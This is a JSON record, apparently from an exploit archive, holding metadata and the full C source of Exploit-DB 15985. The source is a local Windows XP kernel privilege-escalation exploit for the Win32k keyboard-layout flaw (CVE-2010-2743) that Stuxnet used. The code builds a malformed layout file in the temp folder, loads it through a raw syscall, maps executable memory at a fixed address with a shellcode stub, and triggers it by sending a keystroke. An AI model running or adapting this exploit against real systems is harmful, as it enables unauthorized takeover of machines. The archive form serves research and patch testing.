{"exploit":{"id":"EDB-15985","name":"Microsoft Win32k - Keyboard Layout (MS10-073)","description":"Microsoft Win32k - Keyboard Layout (MS10-073)","cves":["CVE-2010-2743"],"author":"Ruben Santamarta","published":"2011-01-13","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/15985","path":"exploits/windows/local/15985.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-15985.c","vulnerabilities":[{"id":"CVE-2010-2743","state":"PUBLISHED","title":null,"titleSource":null,"description":"The kernel-mode drivers in Microsoft Windows XP SP3 do not properly perform indexing of a function-pointer table during the loading of keyboard layouts from disk, which allows local users to gain privileges via a crafted application, as demonstrated in the wild in July 2010 by the Stuxnet worm, aka \"Win32k Keyboard Layout Vulnerability.\" NOTE: this might be a duplicate of CVE-2010-3888 or CVE-2010-3889.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-2743","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-2743"},"updatedAt":"2024-08-07T02:46:47.217Z","retrievedAt":"2026-11-26T21:10:19.608Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-15985.png?v=2","url":"https://exploitbin.com/exploits/EDB-15985","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-15985/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-15985/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// My koala is staring at you  CºgºD\n// Source: http://reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1\n\n\n#include <windows.h>\n#include <stdio.h>\n#include <ntsecapi.h>\n\n\n#define MAGIC_OFFSET 0x6261\n\n#define InitializeUnicodeStr(p,s) {\t\t\\\n     (p)->Length= wcslen(s)*2;\t\t\t\\\n     (p)->MaximumLength = wcslen(s)*2+2;\t\\\n     (p)->Buffer = s;\t\t\t\t\\\n     }\n\n\n_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx\n(\n   IN HANDLE Handle,\n   IN DWORD offTable,\n   IN PUNICODE_STRING puszKeyboardName,\n   IN HKL hKL,\n   IN PUNICODE_STRING puszKLID,\n   IN DWORD dwKLID,\n   IN UINT Flags\n)\n{\n\t__asm\n\t{\n\t\tmov eax, 000011c6h\n\t\tmov edx, 7ffe0300h\n\t\tcall dword ptr [edx]\n\t\tretn 1Ch\n\t}\n}\n\n\nunsigned char shellcode[]=\"\\x90\\x90\\x90\\x90\\xC2\\x0C\\x00\\x90\\x90\";\n\nunsigned char fakeDll[]=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\xE0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2E\\x64\\x61\\x74\\x61\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\xE6\\x00\\x00\\x00\\x60\\x01\\x00\\x00\\xE6\\x00\\x00\\x00\\x60\\x01\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x94\\x01\\x00\\x00\\x9E\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\xA6\\x01\\x00\\x00\\xAA\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x9C\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x01\\x00\\x00\\x00\\xC2\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\t\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\";\n\nint main(int argc, CHAR* argv[])\n{\n\n\tUNICODE_STRING\tuStr;\n\n\tKEYBDINPUT\t\tkb={0};\n\tINPUT\t\t\tvInput={0};\n\n\tHANDLE\t\t\thFile;\n\tDWORD\t\t\tdwFuckS0ny;\n\n\tHKL\t\t\t\thKbd;\n\n\tWCHAR\t\t\tlpPath[MAX_PATH]={0};\n\tWCHAR\t\t\tlpLayoutFile[MAX_PATH]={0};\n\n\tLPVOID\t\t\tlpShellPtr;\n\n\n\n\tprintf(\"\\n\\nStuxnet MS10-073/CVE-2010-2743 Exploit\\n\");\n\tprintf(\"Ruben Santamarta - www.reversemode.com\\n\\n\");\n\n\n\n\tLoadLibraryA(\"user32.dll\");\n\n\tInitializeUnicodeStr(&uStr,L\"pwn3d.dll\");\n\n\tGetTempPathW( MAX_PATH, lpPath );\n\n\twsprintf( lpLayoutFile, L\"%lSp0wns.boom\", lpPath);\n\n\n\thFile = CreateFileW(lpLayoutFile,\n\t\t\t\t\t\tGENERIC_READ|GENERIC_WRITE,\n\t\t\t\t\t\tFILE_SHARE_READ|FILE_SHARE_WRITE,\n\t\t\t\t\t\t0,\n\t\t\t\t\t\tCREATE_ALWAYS,\n\t\t\t\t\t\t0,0);\n\n\tif( hFile == INVALID_HANDLE_VALUE )\n\t{\n\t\tprintf(\" \\n[!!] Error\\n\");\n\t\texit(0);\n\t}\n\n\tWriteFile(\thFile,\n\t\t\t\tfakeDll,\n\t\t\t\tsizeof(fakeDll)-1,\n\t\t\t\t&dwFuckS0ny,\n\t\t\t\tNULL);\n\n\tprintf(\"\\n[+] Writing malformed kbd layout file \\n\\t\\\"%S\\\"\\n\\t[ %d ] bytes written\\n\",lpLayoutFile,dwFuckS0ny);\n\tCloseHandle(hFile);\n\n\thFile = CreateFileW (lpLayoutFile,\n\t\t\t\t\t\t\tGENERIC_READ,\n\t\t\t\t\t\t\tFILE_SHARE_READ,\n\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\tOPEN_EXISTING,\n\t\t\t\t\t\t\t0,0);\n\n\tif( hFile == INVALID_HANDLE_VALUE )\n\t{\n\t\tprintf(\" \\n[!!] Error\\n\");\n\t\texit(0);\n\t}\n\n\thKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );\n\n\n\tprintf(\"\\n[+] Loading it...[ 0x%x ]\\n\", NtUserLoadKeyboardLayoutEx( hFile, 0x01AE0160, NULL, hKbd, &uStr, 0x666, 0x101 ) );\n\n\tlpShellPtr = VirtualAlloc( (LPVOID)0x60630000,\n\t\t\t\t\t\t\t\t0xF000,\n\t\t\t\t\t\t\t\tMEM_COMMIT|MEM_RESERVE,\n\t\t\t\t\t\t\t\tPAGE_EXECUTE_READWRITE);\n\n\tprintf(\"\\n[+] Allocating memory...\");\n\n\tif( !lpShellPtr )\n\t{\n\n\t\tprintf(\"[!!] Error %x\\n\",GetLastError());\n\t\texit(0);\n\n\t}else{\n\n\t\tprintf(\"[ OK ]\\n\");\n\n\t}\n\n\tmemset( lpShellPtr, 0x90, 0xF000);\n\n\tmemcpy( ( void* )( ( ULONG_PTR ) lpShellPtr + MAGIC_OFFSET ),\n\t\t\t( const void* )shellcode,\n\t\t\tsizeof( shellcode ) - 1 );\n\n\tkb.wVk = 0x0;\n\tvInput.type  = INPUT_KEYBOARD;\n\tvInput.ki  = kb;\n\n\tprintf(\"\\n[+] Triggering shellcode...\");\n\tSendInput( 1, ( LPINPUT ) &vInput, sizeof( INPUT ) );\n\n\tprintf(\"\\n[+] Done\\n\");\n\n\treturn 0;\n}","sha256":"6c9900e11bdb5b4957f62109fe6b7194b5b38175076ac5b4e908986934294068","bytes":5510,"fetchedAt":"2026-11-26T21:10:19.396Z","encoding":"utf-8 (display only; download retains original bytes)"}